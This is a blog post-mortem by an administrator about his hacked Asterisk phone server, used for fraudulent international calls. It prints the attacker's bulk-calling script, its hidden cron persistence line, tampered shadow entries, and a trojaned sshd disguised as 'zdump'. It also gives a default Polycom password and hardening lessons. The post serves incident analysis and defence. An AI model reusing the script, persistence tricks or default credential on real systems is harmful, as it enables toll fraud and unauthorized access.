Having your production Asterisk-based phone system hacked is no fun, as I have learned from first-hand experience over the past few days. Even the best of IT administrators taking ever security precaution in the book dreads the day their critical server gets hacked. You hope you've done everything possible to stop your servers from being hacked, but you are never 100% sure. There is always some hacker smarter than you, but more importantly, smarter than the best security practices you put in place. Hackers always seem to find a new hole to exploit.

Since I spent the last couple days poring through the Linux system logs and the Asterisk logs, I thought I'd do a detailed post-mortem for the benefit of other Asterisk users. Let us begin...

The first sign of trouble was a few months ago when our international calling was blocked by our service provider for suspicious international calls to Middle East countries. I investigated the Asterisk-based server for any SIP credentials that were easily attacked. There was only a couple of SIP credentials (test softphone accounts) with slightly easily guessed SIP credentials, however it didn't appear these accounts were using in the hacks since the CDR records didn't show these fraudulent calls as coming from these accounts.  I changed the SIP passwords anyway just to be safe. To be double sure, I had technical support login to the box and make sure everything was secure. They did see some calls being made from the Asterisk CLI and technical support suggested I change the 'root' password, which I did even though it was a long password. They didn't see anything else out of the ordinary, but they obviously missed something since a month later we were hit again...

I was notified that our phone service provider had put a temporary block on international calling. I checked a system file and saw this scary command run on Saturday:

Jan  7 15:05:31 asterisk userhelper[305]: running '/sbin/reboot -f' with root privileges on behalf of 'root'

Bastard hacker rebooted my Asterisk server! Well, at least he was considerate enough to do it on a weekend when the office is closed. Next, I pored through the CDR records on Monday (1/9/12) and indeed I confirmed fraudulent calls being made on a Saturday (1/7/12) when the office was closed.

Here's a sampling:

"","","9011901140720740717","international","","OSS/dsp","Zap/25-1","Busy","","2011-12-07 04:29:13",,"2011-12-07 04:29:20",7,0,"NO ANSWER","DOCUMENTATION"

"","","s","incoming","","Zap/2-1","","Dial","Zap/g1/01138765063921","2012-01-07 15:00:52",,"2012-01-07 15:00:52",0,0,"FAILED","DOCUMENTATION"

"","","900212641869513","international","","OSS/dsp","SIP/skypetrunk-0945e380","Dial","SIP/skypetrunk/00212641869513","2012-01-07 03:08:05","2012-01-07 03:08:16","2012-01-07 03:08:30",25,14,"ANSWERED","DOCUMENTATION"

"","","900212641869534","international","","OSS/dsp","SIP/skypetrunk-08926d10","Dial","SIP/skypetrunk/00212641869534","2012-01-07 03:11:53","2012-01-07 03:12:02","2012-01-07 03:12:31",38,29,"ANSWERED","DOCUMENTATION"

"","","","incoming","","SIP/skypetrunk-08629a78","","Wait","360000","2012-01-07 03:32:39",,"2012-01-07 03:42:39",600,0,"ANSWERED","DOCUMENTATION"

"","","900212641869534","international","","OSS/dsp","SIP/skypetrunk-0874dc90","Dial","SIP/skypetrunk/00212641869534","2012-01-07 03:51:10","2012-01-07 03:51:19","2012-01-07 03:52:06",56,47,"ANSWERED","DOCUMENTATION"

I bolded a couple of the CDRs above. You'll notice the hacker hit both our PRI trunk (Zap/g1) and our Skype SIP trunk. Well, at least he's an equal opportunity hacker attacking all our trunks! Hack our traditional PRI, ok, I can accept that, but attacking my beloved Skype? Unacceptable!

It was pretty simple to discover which calls were fraudulent. I simply ran this command below which searches for "OSS/dsp" in the CDR folder. This will display any Asterisk CLI (command line) commands being executed. Other than voicemail access you shouldn't see anything. If you do, you've likely been hacked: /var/log/asterisk/cdr-csv>grep OSS\/dsp * -r | more

Next, I decided to check the /etc/password file to see if the hacker created any backdoor user accounts. I didn't see any, however I did notice that nobody account had this:

nobody:x:99:99:Nobody:/:/bin/bash

It should look like this:
nobody:x:99:99:Nobody:/:/sbin/nologin

The 'nobody' account was granted bash privileges! This gives the hacker the ability to SSH into the Asterisk server and view and change system files (depending on permissions). To confirm the 'nobody' account was being used, I checked out the /etc/shadow file that holds user account passwords.

This is what I saw:

nobody:$1$WoIGVfbG$ahR5B/JZ4cNT3uC3xM0TR.:15345:0:99999:7:::

It should look like this with NO password (*):

nobody:*:15345:0:99999:7:::

This means that the hacker assigned a password to the nobody account. I also noticed in the 'shadow' file that the 'adm' account had the identical "hashed" password, i.e.:

adm:$1$WoIGVfbG$ahR5B/JZ4cNT3uC3xM0TR.:15314:0:99999:7:::


I went back to /etc/password and saw that the 'adm' account also had bash privileges. Argh!

I set both 'nobody' and 'adm' to /sbin/nologin and then proceeded to see what 'nobody' and 'adm' were up to.

It's important to note that by default Asterisk system files uses the 'nobody' account for both the owner (chown) and group (chgrp) permissions. So if the 'nobody' account is able to get bash-level access, they can view and modify any Asterisk file! That means access to the SIP passwords and the ability to launch the Asterisk CLI! From the Asterisk CLI you can do just about anything, including make outbound calls or even delete critical Asterisk files.

Looking at the 'history' command output for user 'root' I saw these two suspicious commands executed:
  333  su aster
  334  su nobody

Surprisingly, the hacker didn't clean up their history. Or if they did, they forgot to clean up these two commands. I don't have an 'aster' account, so that command fails, but obviously the 'su nobody' works, causing the root user to login as 'nobody'. The beauty of using the 'nobody' account is that all the commands executed by the hacker doesn't show up in the 'root' admin account that most IT admins monitor. At that point I could no longer see the commands the hacker was executing under the 'nobody' bash shell. Even when I logged in as 'nobody' (after changing password) I couldn't see any history.

I decided to check out the 'cron' logs to see if the hacker scheduled any processes. First I checked the root's cron jobs, but nothing suspicious there.

I checked the cron jobs logs and saw this:
Jan  7 15:04:01 asterisk crond[32564]: (nobody) CMD (/var/tmp/.bkp/backup >/dev/null 2>&1)

Mighty suspicious entry there. So I opened 'nobody' cron jobs by running this:

crontab -eu nobody

Sure enough:
* * * * *  /var/tmp/.bkp/backup >/dev/null 2>&1
#*/2 * * * * rm -rf /var/spool/asterisk/outgoing/*

4 things stood out with this cron job above. See if you can spot them all!

1) It used the 'nobody' account.
2) It was executing a command located in the /var/tmp folder - highly unlikely any Linux user keeps schedules jobs in any /tmp folder
3) it was piping the output to /dev/null 2>&1 so that any errors or even jobs completed wouldn't show up in the 'root' accounts mailbox
4) It was using .bkp as the directory to store this. Any file or directory prefaced with a period is hidden if you use simply type 'ls' or 'll' - the most common method to list files & directories. It isn't until you type the -a parameter that you see the hidden file. Actual output from the Asterisk server:
[root]/var/tmp>ls
[root]/var/tmp>ll -a
total 20
drwxrwxrwt   3 root   root   4096 Jan  9 21:07 .
drwxr-xr-x  23 root   root   4096 Apr 16  2008 ..
drwxr-xr-x   2 nobody nobody 4096 Jan 10 10:33 .bkp
[root]/var/tmp>ls -a
.  ..  .bkp
[root]/var/tmp>

Only when you type ll -a or ls -a does the .bkp (yellow) directory appear.

I went into the .bkp folder and voila! I see two files:

[root]/var/tmp/.bkp>ll
total 12
-rw-r--r--  1 nobody nobody  66 Jan  8 09:49 1.call
-rwxr-xr-x  1 nobody nobody 758 Jan  8 09:49 backup

Editing '1.call' I see an Asterisk-formatted .call file:

Channel: Zap/g1/01100253733844
Application: Wait
Data: 360000

Editing 'backup' I see a pretty cool, simple but effective bulk calling script :

#!/bin/sh
if test -r /var/spool/asterisk/outgoing/1.call  ;then
cat /var/spool/asterisk/outgoing/1.call >>/tmp/.s
else
sleep 5
cp /var/tmp/.bkp/1.call /var/spool/asterisk/outgoing/1.call
fi
if test -r /var/spool/asterisk/outgoing/2.call  ;then
cat /var/spool/asterisk/outgoing/2.call >>/tmp/.s
else
sleep 5
cp /var/tmp/.bkp/1.call /var/spool/asterisk/outgoing/2.call
fi
if test -r /var/spool/asterisk/outgoing/3.call  ;then
cat /var/spool/asterisk/outgoing/3.call >>/tmp/.s
else
sleep 5
cp /var/tmp/.bkp/1.call /var/spool/asterisk/outgoing/3.call
fi
if test -r /var/spool/asterisk/outgoing/4.call  ;then
cat /var/spool/asterisk/outgoing/4.call >>/tmp/.s
else
sleep 5
cp /var/tmp/.bkp/1.call /var/spool/asterisk/outgoing/4.call
fi
rm -rf /tmp/.s

The 'test -r' part of the script above checks to see if the file exists already. The rest is pretty obvious. It copies the 1.call file into /var/spool/asterisk/outgoing/ calling it 1.call, 2.call, 3.call, and 4.call as long as the file doesn't exist in that folder already. Asterisk then processes these call files, which can pretty much do anything.

The hacker then scheduled the script to run via cron as follows:

* * * * *  /var/tmp/.bkp/backup >/dev/null 2>&1
#*/2 * * * * rm -rf /var/spool/asterisk/outgoing/*

Interestingly, the 1.call file the hacker chose to do was very simplistic. It didn't do anything other than dial the number and then hang around for 36000s doing nothing. No prompts played or anything. Obviously, if someone answered the call, they'd likely hang up in 5-10s. It seems as though the hacker was making prank calls, since their script didn't do anything. What sort of motive is that? I could see if it was the same number and the hacker had some "beef" with someone, but the phone numbers varied across multiple countries. Further, the hacker didn't damage any critical operating system or Asterisk files as far as I can tell. I'm still spending my time making absolutely sure though. Way to start my week!

Could the hacker's motive simply be to cause TMC to incur the costs of the international calls? Well, fortunately, TMC has a pretty big bucket of unlimited international calling, so we didn't incur any financial costs. One last motive for many hackers is "just because I can do it". It's like graffiti artists. Many hackers aren't out to cause major damage, but just want to prove to themselves that "I'm the king of the world" by hacking into systems and then getting them to do what they want. It's an ego / power trip. I suspect for this hacker this was his/her motivation since they didn't cause any malicious damage to the Asterisk server to make it inoperable.

I had heard of Asterisk .call files before but have never used them. I decided since the hacker hacked my Asterisk box I may as well learn something, so I proceeded to read up on .call files and make my own. Here's a simple one I created called 'hello-world.call':

Channel: Zap/g1/12037227000 {number changed for privacy}
Application: Playback
Data: hello-world

What this does is dial my cell phone (not my real cell number above) using Zap g1 (group 1), which is the PRI/T1 channels. The application is called 'Playback', which allows any properly encoded Asterisk sound file located in the '/var/lib/asterisk/sounds/' folder to be played back to the caller. In this case, it looks for '/var/lib/asterisk/sounds/hello-world.gsm', which is a sample sound file already included with most Asterisk distros.

Interestingly, when I attempted to copy the file I got these errors:

Jan 10 16:22:46 WARNING[7197]: pbx_spool.c:347 scan_service: Unable to open /var/spool/asterisk/outgoing/hello-world.call: Permission denied, deleting
Jan 10 16:22:46 WARNING[7197]: pbx_spool.c:389 scan_thread: Failed to scan service '/var/spool/asterisk/outgoing/hello-world.call'

However, when I move the file to /var/spool/asterisk/outgoing/ it works - my cell phone rang and I heard the hello world female prompt played to me. The reason is due to Asterisk constantly polling this directory for any .call files. When you do a copy, it hasn't quite finished copying it before Asterisk tries to process and delete it, thus giving the permission denied message. Doing a move simply changes the pointer (inode) to the file so it's instantaneous and preventing this issue.

Oddly enough, the hacker's 'backup' script uses the copy (cp) command and not the move (mv) command and it worked for him. Only thing I can think of is scripts executed via cron jobs somehow have higher privileges. Though the cron job was running under the 'nobody' account which had a uid of 99, which is a more limited uid. That or perhaps the hacker was still tweaking his script and only temporarily changed from "mv" to "cp" when I finally stopped the hack. Asterisk .call files are pretty powerful and can be used for applications such as hotel wake-up calls.

Conclusion
I'm still not sure how the hacker was able to login as root. We did have SSH open to the Internet to the Asterisk box. It's possible the SSH password was brute-force attacked, though it was a pretty long password. I didn't setup /root/.ssh/authorized_keys, which is used for quickly logging in without typing username & password over an SSH session, but the hacker set that up too. Had I not noticed that file, any root password changes I made would have been moot since authorized_keys lets you authenticate without the requiring the current root password!

Lessons Learned:

1. Never allow SSH from the outside, even though it is convenient to remotely administer that way. If you MUST have SSH open to the outside, you should consider using Fail2Ban, which blocks IP addresses . It even supports blocking hackers brute-force attacking your SIP credentials should you have port 5060 open to the Internet for remote phones.
2. Make sure you regularly check your /etc/passwd and /etc/shadow to ensure no new accounts and that accounts don't have /sbin/bash access (except those you know about, such as 'root')
3. Use LogWatch to email you daily reports of what's happening on your Asterisk box, such as logins, failed SSH attempts, etc.
4. (optional) As a precaution, on at least an annual basis you should change ALL the SIP credentials on all your IP phones. I don't think anybody really does this because of the headache involved in reconfiguring dozens or even hundreds of phones. I came across a script several weeks ago that automates this somewhat, but I can't seem to find it now.

I'm not 100% sure yet if there is still a rootkit on the Linux box. Although there are anti-virus utilities for Linux, I am loathe to put anti-virus on a production PBX if it stays resident in memory and uses CPU cycles. I wonder if there is something like Malwarebytes that doesn't stay resident in memory, but simply scans when you manually run it? If anyone had suggestions for looking for any rootkits, I'm always looking to learn more Linux techniques. As to you hacker, whomever you are, well played... well played...

Update:
Found this interesting error in the logs:
zdump[27161]: error: Bind to port 10001 on 0.0.0.0 failed: Address already in use.

I knew zdump was a Linux command related to timezone stuff, but it shouldn't be taking a port. I found the zdump command:
[root]/var/log/bak2>ll /usr/bin/zdump
-rwxr-xr-x  1 root root 240512 Jan  6 13:36 /usr/bin/zdump

The date and time were roughly around the time of the hack. I attempted to run it (nothing to lose) by typing this command which should output various timezone information, but look at the output it gave me:
[root]/usr/bin/zdump>./zdump -v /etc/localtime
zdump: illegal option -- v
sshd version OpenSSH_5.4p1
Usage: zdump [options]
Options:
  -f file    Configuration file (default /usr/include/X11/.fonts/sshd_config)
  -d         Debugging mode (multiple -d means more debugging)
  -i         Started from inetd
  -D         Do not fork into daemon mode
  -t         Only test configuration file and keys
  -q         Quiet (no logging)
  -p port    Listen on the specified port (default: 22)
  -k seconds Regenerate server key every this many seconds (default: 3600)
  -g seconds Grace period for authentication (default: 600)
  -b bits    Size of server RSA key (default: 768 bits)
  -h file    File from which to read host key (default:

/usr/include/X11/.fonts/ssh_host_key)
  -u len     Maximum hostname length for utmp recording
  -4         Use IPv4 only
  -6         Use IPv6 only
  -o option  Process the option as if it was read from a configuration file.

It's a friggin OpenSSH process! This allows an SSH session using port 10001 instead of 22. The hacker was setting up a backdoor, but chose a port that was already taken.

Now it really gets interesting.
Looking at the message.x logs I saw this:
Jan  8 13:58:58 asterisk sshd[30940]: Failed password for root from ::ffff:204.145.81.138 port 38401 ssh2
Jan  8 13:58:58 asterisk sshd[30942]: Accepted password for PlcmSpIp from ::ffff:204.145.81.138 port 38418 ssh2

First 204.145.81.138 tried to authenticate as 'root'. After failing, its password was accepted for 'PlcmSpIp'. What the heck?

So I did a whois:
http://whatismyipaddress.com/ip/204.145.81.138

General IP Information
IP:    204.145.81.138
Decimal:    3432075658
Hostname:    welinknyc.dmarc.lga4.atlanticmetro.net
ISP:    Atlantic Metro Communications
Organization:    We Link Networks LLC
Services:    None detected
Type:    Corporate
Assignment:    Static IP

Not very useful info there, since it looks like an ISP. However, when I browse directly to the IP address:
http://204.145.81.138/

I see a company name called GoAutoDial. The description says "GoAutoDial is an enterprise grade open source call center system. Scalable to hundreds of seats and can utilize VoIP, ISDN or analog trunks. GoAutoDial (formerly VicidialNOW) is an enterprise grade open source predictive dialer system. It automatically installs Vicidial, Mysql, PHP, Asterisk, VtigerCRM and other components to have a fully functional open source predictive dialer system. It has out of the box support for Sangoma and Digium telephony hardware and is scalable to hundreds of seats. ".

Well, now that's interesting. An open source Asterisk predictive dialer? They obviously know Asterisk and they obviously know all about bulk dialing. Perhaps their business model is to crack Asterisk boxes and resell the minutes? I don't want to make any accusations without any cold hard facts, so I reached out to them via their support online form. There was no phone number to call them or I would have. I gave them 24 hours to respond but they never contacted me back.

This is not an admission of guilt on their part. For all I know their support person didn't know how to deal with my request to contact me regarding the hack coming from their IP address. Even still, the log file where I saw this IP address could have been modified to "frame" GoAutoDial. Though that's mighty fishy. Perhaps one of their servers was hacked and from one of their hacked boxes they jumped onto my Asterisk box over SSH.

Still, what are the odds that a company that uses Asterisk to run their business would get hacked and then log onto my box running Asterisk? I'd venture a guess that less than 1% of all Linux boxes run Asterisk, so the odds seem pretty small to me. Still, I'll give them the benefit of the doubt and if they reach out to me I'll be glad to update this article.

Now, more about this 'PlcmSpIp' account. When I was securing /etc/passwd yesterday I saw that it was set correctly, i.e. no bash login:

PlcmSpIp:x:99:99::/tftpboot:/sbin/nologin

I also saw it as the last line in the /etc/shadow file, so it does have a password:
PlcmSpIp:$1$1oQ4Yhar$x7uCjUCfPustrRQh9EFtQ1:15301:0:99999:7:::

I remembered coming across this username somewhere, so I googled it and it mentioned it's Polycom's default username and the password isn't randomized and that the password is simply 'PlcmSpIp' . I'll have to check to see if one of my other Asterisk boxes has this same hashed password.

But even if the hacker knew the default Polycom username & password (PlcmSpIp), I'm not sure how this Polycom account was able to SSH in since it didn't have bash access.

Did some more digging and saw some security alerts on PlcmSpIp:
http://www.mail-archive.com/[email protected]/msg04452.html

http://www.thirdlane.com/forum/ftp

I'm might try temporarily setting this account to allow SSH login and try and authenticate using password="PlcmSpIp". Though that just proves Polycom sets this account to an easy default password. Still doesn't explain how they were able to SSH using this account.

Stay tuned for more updates...